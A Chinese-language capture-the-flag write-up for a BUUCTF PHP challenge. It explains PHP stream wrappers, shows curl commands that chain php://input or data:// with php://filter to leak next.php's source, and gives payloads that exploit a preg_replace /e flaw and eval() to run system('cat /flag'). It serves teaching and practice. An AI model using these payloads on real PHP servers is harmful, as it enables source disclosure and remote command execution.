基础分析
访问靶场界面,存在这样的代码
<?php
error_reporting(0);
$text = $_GET["text"];//get方法获取text参数
$file = $_GET["file"];//get方法获取file参数
//读取test参数指定的文件内容为 I have a dream
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
//若file参数包含"flag"则拒绝
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
看到了include($file);,应该是通过文件包含获取next.php的内容,条件是**file要指定next.php的路径,经过测试,寻常文件路径无效,只能试php伪协议来指定$file**
知识回顾
先来看看php伪协议:
| 协议 | 示例 | 主要用途/说明 |
|---|---|---|
| file:// | file:///etc/passwd file://C:/Windows/system.ini | 访问本地文件系统(默认协议)。 |
| php://input | file_get_contents('php://input') | 访问原始 HTTP POST 数据。常用于获取 POST请求体。 |
| php://stdin php://stdout php://stderr | fopen('php://stdin', 'r') | 访问标准输入/输出/错误流。 |
| php://memory php://temp | fopen('php://memory', 'r+') | 在内存或临时文件中读写数据。temp会在数据达到一定量后写入临时文件。 |
| php://filter | readfile('php://filter/convert.base64-encode/resource=index.php') include('php://filter/read=convert.base64-encode/resource=index.php') | 一个元过滤器,用于在数据流打开时应用过滤器。常用于读取文件源码(如Base64编码后绕过某些限制)。 |
| data:// | include('data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+') file_get_contents('data://text/plain,hello world') | 数据流封装器,传递内联数据。格式:data://[][;charset=][;base64],<数据>。可用于执行代码。 |
| zip:// | include('zip://archive.zip%23file.txt') | 访问压缩包内的文件。**#**在 URL 中需编码为 %23,路径为绝对路径。 |
| phar:// | include('phar://archive.phar/file.txt') | 访问 PHAR 归档文件(PHP 归档)。与 **zip://**类似,是反序列化攻击的常见入口。 |
| zlib:// bzip2:// compress.zlib:// | fopen('compress.zlib://file.txt.gz', 'r') | 用于透明地压缩/解压文件流。 |
| http:// https:// | file_get_contents('example.com') | 访问 HTTP(s) URL。需要 allow_url_fopen = On。 |
| ftp:// ftps:// | fopen('ftp://user:pass@example.com/file.txt', 'r') | 访问 FTP(s) 服务器上的文件。需要 allow_url_fopen = On。 |
| glob:// | foreach(glob('glob:///tmp/*.txt') as $file) | 查找匹配模式的文件路径。 |
| ssh2.shell:// ssh2.exec:// 等 | 略 | 通过 SSH2 扩展进行安全 Shell 访问。 |
| rar:// | fopen('rar://archive.rar%23file.txt', 'r') | 访问 RAR 归档文件(需要扩展)。 |
| ogg:// | fopen('ogg://sound.ogg', 'r') | 访问音频流(实验性)。 |
也可参考这张图
获取next.php内容
经过测试,只能用php://filter来读取next.php
构造数据流:
php://input :
curl -X POST "http://e1a452de-f143-4d14-856f-ed97c1d27fd0.node5.buuoj.cn:81/?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php" -d "I have a dream"
data:// :
curl "http://1e1e44e9-4f92-48f6-88a6-4606e7217028.node5.buuoj.cn:81/?text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64-encode/resource=next.php"
分析next.php
解码得到
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',// "/e修饰符":在PHP 5.x中,这个修饰符允许将替换字符串作为PHP代码执行,在PHP 7+中已移除
'strtolower("\\1")',
$str
);
}
/*
遍历所有GET参数
参数名作为$re(正则表达式)
参数值作为$str(要处理的字符串)
*/
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);//get cmd参数执行任意PHP代码
}
/e修饰符:在PHP 5.x中,这个修饰符允许将替换字符串作为PHP代码执行,getFlag()可以被调用,利用格式为next.php?\S*=${执行的PHP代码},\S*匹配所有参数
取flag
next.php?\S*=${getFlag()}&cmd=system("ls /");
输入next.php?\S*=${getFlag()}&cmd=system(%27cat%20/flag%27);得到
相同的原理,可以构造以下EXP
next.php?\S*=${eval($_GET[0])}&0=system(%27cat%20/flag%27);
next.php?\S*=${system($_GET[a])}&a=cat%20/flag
...